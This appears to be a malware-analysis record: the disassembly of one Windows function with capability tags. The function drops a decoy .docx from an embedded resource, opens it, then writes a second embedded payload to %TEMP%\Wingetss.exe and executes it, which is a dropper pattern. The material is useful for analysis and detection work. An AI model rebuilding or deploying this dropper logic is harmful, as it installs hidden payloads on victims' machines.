Function at 0x1400014a4
Capabilities:
Create process on windows
Extract resource via kernel32 functions
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push rbp
push rdi
sub rsp, 0xa18
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x9b0], ecx
mov qword [rbp + 0x9b8], rdx
call fcn.140001b80
lea rdx, [rbp + 0x820]
mov eax, 0
mov ecx, 0x20
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
lea rdx, [rbp + 0x710]
mov eax, 0
mov ecx, 0x20
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
lea r8, str.bitmap
mov edx, 0x66
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_FindResourceA]
call rax
mov qword [rbp + 0x988], rax
mov rax, qword [rbp + 0x988]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_LoadResource]
call rax
mov qword [rbp + 0x980], rax
mov rax, qword [rbp + 0x988]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SizeofResource]
call rax
mov dword [rbp + 0x97c], eax
mov rax, qword [rbp + 0x980]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LockResource]
call rax
mov qword [rbp + 0x970], rax
lea rax, [rbp + 0x710]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rax, [rbp + 0x710]
mov edx, 0x5c
mov rcx, rax
call sub.msvcrt.dll_strrchr
mov qword [rbp + 0x968], rax
cmp qword [rbp + 0x968], 0
je 0x14000165b
mov rax, qword [rbp + 0x968]
lea rdx, [rax + 1]
lea rax, [rbp + 0x820]
mov r8, rdx
mov edx, 0x104
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll_strcpy_s]
call rax
mov rax, qword [rbp + 0x968]
mov byte [rax], 0
lea rax, [rbp + 0x820]
mov edx, 0x2e
mov rcx, rax
call sub.msvcrt.dll_strrchr
mov qword [rbp + 0x960], rax
cmp qword [rbp + 0x960], 0
je 0x14000165b
lea rax, [rbp + 0x820]
mov rdx, qword [rbp + 0x960]
sub rdx, rax
mov eax, 0x104
sub rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x960]
add rax, 1
mov r9d, 4
lea r8, str.docx
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll_strncpy_s]
call rax
lea rdx, [rbp + 0x600]
mov eax, 0
mov ecx, 0x20
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
lea rcx, [rbp + 0x710]
lea rax, [rbp + 0x600]
lea rdx, [rbp + 0x820]
mov qword [rsp + 0x20], rdx
mov r9, rcx
lea r8, str._s_s
mov edx, 0x104
mov rcx, rax
mov rax, qword [0x1400090a0]
call rax
lea rax, [rbp + 0x600]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 2
mov r9d, 0
mov r8d, 0
mov edx, 0x1f01ff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x958], rax
lea r8, [rbp + 0x5fc]
mov ecx, dword [rbp + 0x97c]
mov rdx, qword [rbp + 0x970]
mov rax, qword [rbp + 0x958]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
mov rax, qword [rbp + 0x958]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
call rax
mov rax, qword [rbp + 0x958]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rdx, [rbp + 0x580]
mov eax, 0
mov ecx, 0xe
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp + 0x580], 0x70
lea rax, [rbp + 0x600]
mov qword [rbp + 0x598], rax
mov dword [rbp + 0x5b0], 5
lea rax, [rbp + 0x580]
mov rcx, rax
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteExA]
call rax
lea rdx, [rbp + 0x470]
mov eax, 0
mov ecx, 0x20
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
lea rax, [rbp + 0x470]
mov rdx, rax
mov ecx, 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetTempPathA]
call rax
lea rdx, [rbp + 0x360]
mov eax, 0
mov ecx, 0x20
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
lea rdx, [rbp + 0x470]
lea rax, [rbp + 0x360]
mov r9, rdx
lea r8, str._sWingetss.exe
mov edx, 0x104
mov rcx, rax
mov rax, qword [0x1400090a0]
call rax
lea r8, str.dialog
mov edx, 0x67
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_FindResourceA]
call rax
mov qword [rbp + 0x950], rax
mov rax, qword [rbp + 0x950]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_LoadResource]
call rax
mov qword [rbp + 0x948], rax
mov rax, qword [rbp + 0x950]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SizeofResource]
call rax
mov dword [rbp + 0x944], eax
mov rax, qword [rbp + 0x948]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LockResource]
call rax
mov qword [rbp + 0x938], rax
lea rax, [rbp + 0x360]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 2
mov r9d, 0
mov r8d, 0
mov edx, 0x1f01ff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x930], rax
lea r8, [rbp + 0x35c]
mov ecx, dword [rbp + 0x944]
mov rdx, qword [rbp + 0x938]
mov rax, qword [rbp + 0x930]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
mov rax, qword [rbp + 0x930]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
call rax
mov rax, qword [rbp + 0x930]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rdx, [rbp + 0x2e0]
mov eax, 0
mov ecx, 0xe
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp + 0x2e0], 0x70
lea rax, [rbp + 0x360]
mov qword [rbp + 0x2f8], rax
mov dword [rbp + 0x310], 5
lea rdx, [rbp + 0x1d0]
mov eax, 0
mov ecx, 0x20
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
lea rax, [rbp + 0x1d0]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rdx, [rbp - 0x40]
mov eax, 0
mov ecx, 0x41
mov rdi, rdx
rep stosq qword [rdi], rax
lea rcx, [rbp + 0x1d0]
lea rax, [rbp - 0x40]
lea rdx, [rbp + 0x360]
mov qword [rsp + 0x20], rdx
mov r9, rcx
lea r8, str.__s____s_
mov edx, 0x208
mov rcx, rax
mov rax, qword [0x1400090a0]
call rax
lea rax, [rbp + 0x1d0]
mov rdx, rax
lea rax, str.Debug___CommandLine:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp - 0x40]
mov rdx, rax
lea rax, str.Debug___CommandLine:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp - 0x40]
mov qword [rbp + 0x300], rax
lea rax, [rbp + 0x2e0]
mov rcx, rax
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteExA]
call rax
mov eax, 0
add rsp, 0xa18
pop rdi
pop rbp
ret